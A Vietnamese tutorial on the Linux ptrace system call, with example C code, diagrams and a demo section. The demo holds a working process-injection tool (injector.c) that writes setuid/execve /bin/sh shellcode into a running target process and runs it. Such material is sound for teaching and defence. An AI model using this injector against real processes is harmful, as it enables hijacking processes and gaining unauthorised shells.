PTRACE
Tìm hiểu kỹ thuật PTRACE
PTRACE
I. Giới thiệu
ptrace (process trace) là 1 lệnh gọi hệ thống (system call) cho phép 1 tiến trình (gọi là tracer) quan sát và điều khiển 1 tiến trình khác (tracee).
II. Cách hoạt động
Khi 1 tiến trình bị theo dõi thì nó sẽ dừng lại mỗi khi nhập 1 tín hiệu và chờ tracer cho phép tiếp tục.
| Tracer | Tracee |
|---|---|
| Tiến trình điều khiển thực hiện: - Gắn vào tiến trình đang chạy - Đọc/ghi bộ nhớ và thanh ghi - Tiếp tục thực thi tiến trình bị theo dõi - Bắt và xử lý các system call | Tiến trình mục tiêu bị dừng lại (trạng thái STOPPED) khi có sự kiện xảy ra (ví dụ: nhận tín hiệu), chờ lệnh từ tracer. |
Các request phổ biến:
- PTRACE_TRACEME: Được gọi bởi tracee, báo cho hệ điều hành rằng tiến trình cha của nó sẽ theo dõi nó.
- PTRACE_ATTACH: Được gọi bởi tracer, để bắt đầu theo dõi một tiến trình đã có PID.
- PTRACE_PEEKDATA / PTRACE_POKEDATA: Đọc/ghi một word dữ liệu từ bộ nhớ của tracee.
- PTRACE_GETREGS / PTRACE_SETREGS: Đọc/ghi toàn bộ các thanh ghi của tracee.
- PTRACE_CONT: Cho phép tracee tiếp tục thực thi.
- PTRACE_DETACH: Ngừng theo dõi, tracee sẽ tiếp tục chạy bình thường.
Khi ptrace được sử dụng thì ta sẽ bắt gặp 1 thứ gọi là fork().
Hiểu đơn giản thì 1 tiến trình gọi tới fork() (tức là parent process) sẽ tạo ra 1 tiến trình mới (child process) là bản sao y hệt của parent process với cùng mã lệnh, dữ liệu ban đầu nhưng có PID(Process ID) riêng.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
int main() {
pid_t pid = fork();
if (pid == 0) {
// --- Tracee ---
printf("Child: PID = %d, Parent PID = %d\n", getpid(), getppid());
ptrace(PTRACE_TRACEME, 0, NULL, NULL); // cho phép bị theo dõi
execl("/bin/ls", "ls", NULL); // thay thế bằng lệnh ls
perror("execl");
exit(1);
} else if (pid > 0) {
// --- Tracer ---
int status;
waitpid(pid, &status, 0); // chờ child dừng ở exec
printf("Parent: PID = %d, Child PID = %d\n", getpid(), pid);
ptrace(PTRACE_CONT, pid, NULL, NULL); // cho phép child tiếp tục
waitpid(pid, &status, 0); // chờ child kết thúc
printf("Child %d finished\n", pid);
} else {
perror("fork");
exit(1);
}
return 0;
}
Sơ đồ mô phỏng khái quát quy trình hoạt động:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Parent Child
| |
| fork() ------------>|
| |
|<--------------------| (pid == 0 ở child)
| |
| | ptrace(PTRACE_TRACEME)
| | execl("/bin/ls")
| | (child dừng lại, báo cho parent)
| waitpid() |
|-------------------->|
| |
| (child STOPPED) |
| |
| ptrace(PTRACE_CONT) |
|-------------------->|
| | chạy tiếp chương trình ls
| | in ra danh sách file
| waitpid() |
|-------------------->|
| | child kết thúc
|<--------------------|
| in "Child finished" |
III. Ứng dụng
Debugging: GDB, LLDB sử dụng ptrace để đặt breakpoint, kiểm tra variables và thực thi step-by-step.
System Call Tracing: strace dùng ptrace để theo dõi tất cả các system call mà chương trình thực hiện giúp phân tích hành vì và chuẩn đoán lỗi.
Anti-debugging: dùng ptrace tự theo dõi chính nó (vì 1 tiến trình chỉ có thể được theo dõi bởi 1 tracer duy nhất tại 1 thời điển nên ngăn cản debugger khác gắn vào để phân tích).
Code injection: dùng ptrace attach vào 1 tiến trình hợp lệ để ghi shellcode rồi thay đổi instruction pointer để thực thi shellcode đó.
IV. Demo
Phần demo này gồm 2 chương trình: target (nạn nhân) và injector (kẻ tấn công). Injector sẽ gắn vào target, ghi một đoạn mã (shellcode) vào bộ nhớ của target và thực thi nó để mở 1 shell.
target.c
1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Target process started! PID: %d\n", getpid());
printf("Waiting for injection...\n");
// Vòng lặp vô hạn để giữ tiến trình sống
while(1) {
sleep(1);
}
return 0;
}
injector.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <unistd.h>
// Shellcode đơn giản để thực thi /bin/sh (x86-64)
const char shellcode[] =
"\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48"
"\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
int main(int argc, char *argv[]) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <pid>\n", argv[0]);
return 1;
}
pid_t target_pid = atoi(argv[1]);
struct user_regs_struct old_regs, regs;
printf("--- Attaching to process %d ---\n", target_pid);
if (ptrace(PTRACE_ATTACH, target_pid, NULL, NULL) == -1) {
perror("ptrace attach"); return 1;
}
wait(NULL);
printf("--- Getting registers ---\n");
ptrace(PTRACE_GETREGS, target_pid, NULL, &old_regs);
memcpy(®s, &old_regs, sizeof(struct user_regs_struct));
printf("--- Injecting shellcode at 0x%llx ---\n", regs.rip);
for (int i = 0; i < sizeof(shellcode); i += sizeof(long)) {
ptrace(PTRACE_POKEDATA, target_pid, regs.rip + i,
*(long *)(shellcode + i));
}
// RIP (Instruction Pointer) giờ trỏ đến shellcode
printf("--- Detaching and running shellcode ---\n");
ptrace(PTRACE_DETACH, target_pid, NULL, NULL);
printf("Injection complete.\n");
return 0;
}
Tab terminal 1 khởi chạy target để lấy PID, terminal 2 chạy injector với PID của target để tiêm shellcode và thực thi. 
Có thể tóm tắt luồng hoạt động bằng sơ đồ sau:
Reference
https://codelucky.com/ptrace-command-linux/
https://cleveruptime.com/docs/commands/ptrace
https://johnewart.net/2019/an-introduction-to-ptrace/
https://cocomelonc.github.io/linux/2024/11/22/linux-hacking-3.html


